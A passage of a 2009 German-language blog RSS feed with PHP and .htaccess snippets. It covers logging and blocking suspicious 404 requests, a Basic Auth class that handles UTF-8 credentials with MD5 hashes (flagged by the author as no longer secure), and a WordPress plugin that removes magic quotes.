    or FALSE !== strpos(<var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>, '<code class="string">SlurpConfirm</code>') ) )
{
  mail(
    '<code class="string">info@example.com</code>',

    '<code class="string">404: </code>'. <var>$_SERVER['<code class="string">HTTP_HOST</code>']</var> . addslashes(<var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>),

    '<code class="string">Request:     </code>'
        . <var>$_SERVER['<code class="string">REQUEST_METHOD</code>']</var>
        . '<code class="string"> http://</code>' . <var>$_SERVER['<code class="string">HTTP_HOST</code>']</var>
        . <var>$_SERVER['<code class="string">REQUEST_URI</code>']</var> . &quot;<code class="string">\r\n</code>&quot; .

    (isset(<var>$_SERVER['<code class="string">HTTP_REFERER</code>']</var>) ?
        '<code class="string">Referer:     </code>' . addslashes(<var>$_SERVER['<code class="string">HTTP_REFERER</code>']</var>) . &quot;<code class="string">\r\n</code>&quot; : '') .

    (isset(<var>$_SERVER['<code class="string">HTTP_USER_AGENT</code>']</var>) ?
        '<code class="string">User-Agent:  </code>' . addslashes(<var>$_SERVER['<code class="string">HTTP_USER_AGENT</code>']</var>) . &quot;\r\n&quot; : '') .

    '<code class="string">IP:          http://ip-lookup.net/?ip=</code>'
        . ( isset ( <var>$_SERVER['<code class="string">HTTP_X_FORWARDED_FOR</code>']</var> )
            ? <var>$_SERVER['<code class="string">HTTP_X_FORWARDED_FOR</code>']</var>
            : <var>$_SERVER['<code class="string">REMOTE_ADDR</code>']</var> ),

    '<code class="string">MIME-Version: 1.0</code>' . &quot;<code class="string">\r\n</code>&quot;
        . '<code class="string">Content-Type: text/plain; charset=UTF-8</code>' . &quot;<code class="string">\r\n</code>&quot;
        . '<code class="string">Content-Transfer-Encoding: 8bit</code>' . &quot;<code class="string">\r\n</code>&quot;
        . '<code class="string">From: Error-Messenger &lt;mail@</code>' . <var>$_SERVER['<code class="string">HTTP_HOST</code>']</var> . '<code class="string">&gt;</code>' . &quot;<code class="string">\r\n</code>&quot;
        . '<code class="string">List-Id: &quot;404&quot; 404.List</code>' . &quot;<code class="string">\r\n</code>&quot;
  );
}</pre>
<p>Die IP-Adresse verlinke ich gleich mit dem Service auf <a href="http://ip-lookup.net/">ip-lookup.net</a>; die E-Mail-Adresse mußt du natürlich anpassen. Außerdem deklariere ich eine Mailingliste, damit mein Mailprogramm automatisch einen separaten Zugriffspunkt für diese Nachrichten einrichtet und nicht den Posteingang zumüllt.</p>
<p>Bei »legitimen« 404-Zugriffen, die durch harmloses Herumprobieren oder kaputte Links zustandekommen, <em>lösche</em> ich die E-Mail <em>sofort</em>. Das gebietet schon der Datenschutz. Die anderen hebe ich für eine Häufigkeitsanalyse auf.</p>
<p>Die <code>.htaccess</code> sieht jetzt (verkürzt dargestellt) so aus:</p>
<pre class="notranslate">ErrorDocument 403 /403.php

order allow,deny

<em># Indien</em>
deny from 122.168.68
deny from 203.94.228

<em># Korea (Sued)</em>
deny from 61.100.189.234
deny from 114.200.199.144
deny from 141.223.5.12

# ... und noch viel mehr ...

allow from all</pre>
<p>Die <code>403.php</code> schickt den ungebetenen Gast einfach weg:</p>
<pre class="notranslate">&lt;?php
// 403
header('<code class="string">Location: http://localhost</code>', TRUE, 301);
die();</pre>
<p>Das ist zwar nicht gerade »technisch sauber«, aber es spart Traffic.</p>
<p class="downloadlink"><a href='http://toscho.de/wp-content/uploads/2009/07/403-404.zip'>Download 403-404</a>.</p>
<p>China blockiere ich inzwischen <a href="http://www.blockacountry.com/">komplett</a>. Das bedauere ich wirklich, aber es hat die Zahl der Angriffe um etwa 70—80% gesenkt. Allerdings hat das auch meine .htaccess auf über 40 <abbr title="KibiByte">KiB</abbr> aufgebläht. Das <em>kann</em> je nach Server die Performance beeinträchtigen.<br />
Testet solche drastischen Blockaden also gut, am besten dann, wenn gerade der meiste Traffic auf eurer Website herrscht. Hier ist das so gegen 13:00 Uhr an Wochentagen.</p>
<p>Ich betreue viele Websites; das Mailverfahren wende ich aber nur bei wenigen an. Dennoch profitieren <em>alle</em> davon, weil ich die so gewonnene Sperrliste ja überall einsetze.</p>
<p><strong>Nachtrag:</strong> Freche Bots spürt man schnell auf, indem man in der <a href="http://www.robotstxt.org/">robots.txt</a> ein Verzeichnis verbietet, das <em>nicht existiert</em>. Etwa so:</p>
<pre class="notranslate">User-agent: *
Disallow: /krafumpel</pre>
<p>Jeder Zugriff darauf kommt von einem Spider, der sich absichtlich nicht an die Angabe hält (oder von einem neugierigen Besucher); das Mailscript bringt den Spuk dann gleich ans Licht.</p>
<h2>Mehr Lektüre zum Thema</h2>
<ul>
<li><a href="http://toscho.de/2009/authentifizierung-php-utf-8/">Authentifizierung mit PHP und UTF-8</a></li>
<li><a href="http://toscho.de/2009/blocken-mit-htaccess/">Ungebetene Gäste mit .htaccess blocken</a></li>
<li><a href="http://toscho.de/2009/website-gehackt/">Website gehackt – und nun?</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Authentifizierung mit PHP und UTF-8</title>
		<link>http://toscho.de/2009/authentifizierung-php-utf-8/</link>
		<comments>http://toscho.de/2009/authentifizierung-php-utf-8/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 23:18:25 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Zeichen]]></category>
		<category><![CDATA[UTF-8]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1184</guid>
		<description><![CDATA[Umlaute in Nutzernamen und Paßwörtern? Mit PHP hat man immerhin eine Chance, dies zu erlauben.]]></description>
			<content:encoded><![CDATA[<p>Beim einfachen Paßwortschutz mit den Bordmitteln des Webservers Apache – den Dateien .htpasswd und .htaccess – stößt man bald auf ein sehr ekelhaftes Problem: Umlaute kodiert jeder Browser anders.<br />
Und man kann per HTTP keine Kodierung vorschlagen, denn die Authentifzierungsheader werden früher versandt als die Angabe des Content-Typs, der ja erst im Charset-Parameter die Zeichenkodierung angibt.</p>
<p>Opera benutzt UTF-8, Firefox und Internet Explorer aber verwenden die Zeichenkodierung, die als lokaler Rückfallwert eingestellt wurde, auf einem deutschsprachigen System also meistens ISO-8859-1.</p>
<p>Der Apache kann – soweit ich weiß – nicht automatisch erkennen, ob eine Zeichenkette in UTF-8 kodiert wurde. Und diese Kette entsprechend umzuwandeln geht dann vollends über seine Fähigkeit und Kompetenz hinaus.</p>
<p>Mit PHP hingegen ist das <a href="http://toscho.de/2009/utf-8-erzwingen/">sehr leicht möglich</a>, wenn es als Modul arbeitet und nicht per CGI.<br />
Hier will ich mal eine einfache Methode vorstellen, Umlaute in Benutzernamen und Paßwörtern zu erlauben. Ich habe diesen Code 2005 geschrieben; etwas später habe ich ihn auf PHP 5 umgestellt, und seither verwende ich ihn immer wieder in kleinen Projekten.<br />
Die Funktionen <code>is_utf8_compatible()</code> und <code>force_utf8()</code> sollten in einer separaten Klasse liegen; ich habe sie hier nur der Übersichtlichkeit halber direkt in die Authentifizierungsklasse gesetzt.<br />
Im ZIP-Archiv liegt auch eine Datei, die den praktischen Einsatz demonstriert.</p>
<p class="downloadlink">Download: <a class='piwik_download' href='http://toscho.de/wp-content/uploads/2009/06/auth.zip'>PHP-Klasse: HTTP_Auth</a>.</p>
<p>Um die Diskussion zu erleichtern, sei hier der Quellcode im Original wiedergegeben:</p>
<h2>class HTTP_Auth</h2>
<pre>&lt;?php
<i>/**
 * Sendet Authentifizierungsheader
 *
 * @category HTTP
 * @author   Thomas Scholz &lt;<a href="http://toscho.de">http://toscho.de</a>&gt;
 * @version  1.0.1 (10.06.2009)
 * @access   public
 */</i>

class HTTP_Auth {

    <i>/**
     * Texte
     */</i>
    private <var>$messages</var> = array(
        'realm'          =&gt; 'Passwortschutz!',
        'wrong_name'     =&gt; 'Der Nutzername stimmt nicht.',
        'no_password'    =&gt; 'Bitte geben Sie Ihr Passwort ein.',
        'wrong_password' =&gt; 'Das Passwort stimmt nicht.',
        'login_failed'   =&gt; 'Tja, Pech!&lt;br&gt;Zur &lt;a href="/"&gt;Startseite&lt;/a&gt;.&lt;/p&gt;'
        );

    <i>/* Constructor */</i>
    public function __construct()
    {
        <i>/* Nichts zu tun. */</i>
    }

    public function set_message(<var>$name</var>, <var>$text</var>)
    {
        <var>$this-&gt;messages[$name]</var> = <var>$text</var>;
    }

    <i>/**
     * Prüft Nutzernamen und -paßwort
     * @param array <var>$array_users</var> Array aus name =&gt; password je in md5()
     * @return boolean
     */</i>
    public function is_authuser(<var>$array_users</var>)
    {
        if ( !isset ( <var>$_SERVER['PHP_AUTH_USER']</var> ) )
        {
            $this-&gt;require_auth(<var>$this-&gt;messages['realm']</var>);
        }
        else
        {
            <var>$name</var> = md5( $this-&gt;force_utf8(<var>$_SERVER['PHP_AUTH_USER']</var>) );

            if ( !array_key_exists(<var>$name</var>, <var>$array_users</var>) )
            {
                $this-&gt;require_auth(<var>$this-&gt;messages['wrong_name']</var>);
            }
            if ( !isset (<var>$_SERVER['PHP_AUTH_PW']</var>) )
            {
                $this-&gt;require_auth(<var>$this-&gt;messages['no_password']</var>);
            }
            elseif ( <var>$array_users[$name]</var> != md5(
                    $this-&gt;force_utf8(<var>$_SERVER['PHP_AUTH_PW']</var>) )
                )
            {
                $this-&gt;require_auth(<var>$this-&gt;messages['wrong_password']</var>);
            }
            else
            {
                return TRUE;
            }
        }
    }

    <i>/**
     * Sendet Authentifizierungsheader.
     * @param string <var>$realm</var> Nachrichtentext
     * @return string
     */</i>
    public function require_auth($realm)
    {
        header('WWW-Authenticate: Basic realm="' . <var>$realm</var> . '"');
        header('HTTP/1.0 401 Unauthorized');
        echo <var>$this-&gt;messages['login_failed']</var>;
        exit;
    }
    <i>/**
     * Prüft einen String auf UTF-8-Kompatibilität.
     * RegEx von Martin Dürst
     * @source <a href="http://www.w3.org/International/questions/qa-forms-utf-8.html">http://www.w3.org/International/questions/qa-forms-utf-8.html</a>
     * @see <a href="http://toscho.de/2009/utf-8-erzwingen/">http://toscho.de/2009/utf-8-erzwingen/</a>
     * @param string <var>$str</var> String to check
     * @return boolean
     */</i>
    public function is_utf8_compatible(<var>$str</var>)
    {
        return preg_match("/^(
              [\x09\x0A\x0D\x20-\x7E]            <i># ASCII</i>
            | [\xC2-\xDF][\x80-\xBF]             <i># non-overlong 2-byte</i>
            |  \xE0[\xA0-\xBF][\x80-\xBF]        <i># excluding overlongs</i>
            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  <i># straight 3-byte</i>
            |  \xED[\x80-\x9F][\x80-\xBF]        <i># excluding surrogates</i>
            |  \xF0[\x90-\xBF][\x80-\xBF]{2}     <i># planes 1-3</i>
            | [\xF1-\xF3][\x80-\xBF]{3}          <i># planes 4-15</i>
            |  \xF4[\x80-\x8F][\x80-\xBF]{2}     <i># plane 16</i>
            )*$/x",
            <var>$str</var>);
    }
    <i>/**
     * Versucht, einen String nach UTF-8 zu konvertieren.
     *
     * @param string <var>$str</var> Zu kodierender String
     * @param string <var>$inputEnc</var> Vermutete Kodierung des Strings
     * @return string
     */</i>
    function force_utf8(<var>$str</var>, <var>$inputEnc</var>='WINDOWS-1252')
    {
        if ( $this-&gt;is_utf8_compatible(<var>$str</var>) )
        {
            <i>// Nichts zu tun.</i>
            return <var>$str</var>;
        }

        if ( strtoupper(<var>$inputEnc</var>) == 'ISO-8859-1')
        {
            return utf8_encode(<var>$str</var>);
        }

        if ( function_exists('mb_convert_encoding') )
        {
            return mb_convert_encoding(<var>$str</var>, 'UTF-8', <var>$inputEnc</var>);
        }

        if ( function_exists('iconv') )
        {
            return iconv(<var>$inputEnc</var>, 'UTF-8', <var>$str</var>);
        }

        else
        { <i>/* GAU! */</i>
            return <var>$str</var>;
        }
    }
}</pre>
<p>Eine Nutzerverwaltung gehört natürlich in separaten Code, denn sie sollte vom Authentifizierungsverfahren unabhängig sein.<br />
Ich habe hier <a href="http://de.wikipedia.org/wiki/Message-Digest_Algorithm_5">MD5-Hashwerte</a> verwendet – diese gelten nicht mehr als sicher. Je nach Sicherheitsanforderung sollte man also einen anderen Algorithmus benutzen oder besser eine ganz andere Authentifizierungsmethode. Denn bei der hier vorgestellten Variante werden Nutzername und Paßwort im Klartext an den Webserver gesandt. Wenn <em>das</em> ein Problem ist, dann dürfte die Erzeugung des Hashwertes die kleinste Sorge sein …</p>
<h2>Anwendungsbeispiel <code>example.php</code></h2>
<p>Hier wird hoffentlich klar, daß es ausreicht, nur die Hashwerte der Namen und Paßworte auf dem Server zu speichern – die Klasse arbeitet allein damit, muß die Originale also nicht kennen. Generell gilt: Speichere niemals Paßwörter im Klartext! Nicht in der Datenbank, nicht im PHP-Skript und auch nicht in Textdateien.</p>
<pre>&lt;?php
require_once 'class.HTTP_Auth.php';
header ("Content-Type: text/html;charset=utf-8");

<var>$auth</var> = new HTTP_Auth;

<var>$users</var> = array(
        <i>// 'ö'   =&gt; 'ßüß'</i>
        'a172480f4e21d0a124bac19c89569c59'      =&gt; '994510e17c01e8680c3147df0c8ea605',
        <i>// So lieber nicht!</i>
        md5('Gröfaz') =&gt; md5('Laß mich rein!')
    );
if ( $auth-&gt;is_authuser(<var>$users</var>) )
{
    echo '&lt;p style="padding: 20%; font:2em/1.5 serif"&gt;Hallo &lt;b&gt;'
        . $auth-&gt;force_utf8(<var>$_SERVER['PHP_AUTH_USER']</var>)
        . '&lt;/b&gt;, dein Passwort ist &lt;b&gt;'
        . $auth-&gt;force_utf8(<var>$_SERVER['PHP_AUTH_PW']</var>)
        . '&lt;/b&gt;!&lt;/p&gt;';
}</pre>
<h2>Einschränkungen</h2>
<p>In Deutschland leben etwa <a href="http://www.statistik-portal.de/Statistik-Portal/de_jb01_jahrtab2.asp">7 Millionen Ausländer</a> oder Menschen mit einer anderen Muttersprache als Deutsch.<br />
Wer Türkisch als Muttersprache hat, wird die Daten vielleicht in ISO-8859-9 kodieren, wer vorrangig Russisch spricht, ISO-8859-2 – <a href="http://toscho.de/2008/grundlagen-zeichenkodierung/#toc-die-iso-8859-gruppe" title="Übersicht sprachspezifischer Zeichenkodierungen">und so weiter</a>. Da die übertragenen Daten zu kurz für eine automatische Erkennung sind, scheitert der hier vorgestellte Weg notwendig an solchen Problemen.</p>
<p>Der Zugriff auf Nicht-PHP-Dateien ist immer noch ohne Kontrolle möglich. Hierbei hat der Schutz per Server klar die Nase vorne. Man könnte natürlich <em>sämtliche Aufrufe</em> im zu schützenden Verzeichnis über das PHP-Skript schicken. Das finde ich aber nicht sehr … praktisch.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/authentifizierung-php-utf-8/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PHP: Magic Quotes entfernen</title>
		<link>http://toscho.de/2009/php-magic-quotes-entfernen/</link>
		<comments>http://toscho.de/2009/php-magic-quotes-entfernen/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 00:35:18 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=716</guid>
		<description><![CDATA[Wie man die unverlangten Backslashes (\) loswird – in WordPress, aber auch generell. Mit Code und Download.]]></description>
			<content:encoded><![CDATA[<p>In manchen PHP-Versionen sind die sogenannten <a lang="en" href="http://www.php.net/magic_quotes">Magic Quotes</a> aktiviert. Diese Einstellung maskiert die Zeichen <code>'</code>, <code>"</code> und <code>\</code> in Nutzereingaben mit einem Backslash (<code>\</code>). Aus einem Request auf die Adresse <code>/?a=b'c</code> wird dann also <code>$_GET['a'] = b\'c</code> (wie <code><a href="http://php.net/addslashes">addslashes</a>()</code> also). Damit soll bei schlechtem Code eine SQL-Injektion verhindert oder zumindest erschwert werden.</p>
<p>Das Handbuch listet die <a href="http://www.php.net/manual/de/security.magicquotes.whynot.php">Nachteile</a> auf:</p>
<ul>
<li><strong>Portabilität</strong>: Ob man Magic Quotes an- oder abgeschaltet erwartet: In beiden Fällen kann man den Code nicht ohne zusätzliche Kontrolle auf einem anderen System einsetzen.</li>
<li><strong>Performance</strong>: Nicht alle maskierten Daten landen in einer Datenbank, deshalb müssen sie auch nicht alle so behandelt werden. Ein gezieltes <code>addslashes()</code> ist viel schneller.</li>
<li><strong>Mehraufwand</strong>: Da bei vielen Daten die Maskierungen nur stören, muß man oft exzessiv mit <code><a href="http://php.net/stripslashes">stripslashes</a>()</code> herumbasteln.</li>
</ul>
<p>Im WordPress-Forum hatte gestern jemand das <a href="http://forum.wordpress-deutschland.org/installation/50218-bild-url-verstuemmelt-keine-bild-anzeige-artikel-oder-seite.html">Problem eingeschalteter Magic Quotes</a>, die das <a href="http://toscho.de/thema/markup/">Markup</a> seiner Beiträge verschandelt haben.<br />
Letztendlich hat er es im Backend seines Hosters abschalten können, aber in der Diskussion ist ein kleines Plugin entstanden, das vielleicht anderen hilft:</p>
<p class="downloadlink"><a class='piwik_download' href='http://toscho.de/wp-content/uploads/2009/04/remove-magic-quotes.zip' title="WordPress-Plugin: Remove Magic Quotes">Download remove-magic-quotes.zip</a></p>
<pre>&lt;?php
<i>/*
Plugin Name: Remove Magic Quotes
Description: Entfernt nutzlose Backslashes.
Version: 0.1
Author: Thomas Scholz
Author URI: <a href="http://toscho.de">http://toscho.de</a>
*/</i>
RMQ::gpc_strip_slashes();
class RMQ {
    static function gpc_strip_slashes()
    {
        if ( <a href="http://php.net/get_magic_quotes_gpc">get_magic_quotes_gpc</a>() )
        {
            <var>$_REQUEST</var> = RMQ::array_map_recursive('<code class="string">stripslashes</code>', <var>$_REQUEST</var>);
            <var>$_GET</var>     = RMQ::array_map_recursive('<code class="string">stripslashes</code>', <var>$_GET</var>);
            <var>$_POST</var>    = RMQ::array_map_recursive('<code class="string">stripslashes</code>', <var>$_POST</var>);
            <var>$_COOKIE</var>  = RMQ::array_map_recursive('<code class="string">stripslashes</code>', <var>$_COOKIE</var>);
        } 

        return;
    }
    <i>/**
     * Deeper array_map()
     *
     * @param string <var>$callback</var> Callback function to map
     * @param array <var>$array</var> Array to map
     * @source <a href="http://www.sitepoint.com/blogs/2005/03/02/magic-quotes-headaches/">http://www.sitepoint.com/blogs/2005/03/02/magic-quotes-headaches/</a>
     * @return array
     */</i>
    static function array_map_recursive(<var>$callback</var>, <var>$array</var>)
    {
        <var>$r</var> = array(); 

        if ( is_array(<var>$array</var>) )
        {
            foreach ( <var>$array</var> as <var>$k</var> => <var>$v</var> )
            {
                <var>$r</var>[<var>$k</var>] = is_scalar(<var>$v</var>)
                    ? <var>$callback</var>(<var>$v</var>)
                    : RMQ::array_map_recursive(<var>$callback</var>, <var>$v</var>);
            }
        } 

        return <var>$r</var>;
    }
}</pre>
<p>Das ZIP-Archiv enthält eine Datei, die man einfach ins Plugin-Verzeichnis legt und dann im Backend aktiviert.</p>
<p>Ich benutze einen fast identischen Code in all meinen PHP-Scripten. Seltsam finde ich nur, daß er im WordPress-Code fehlt …</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/php-magic-quotes-entfernen/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
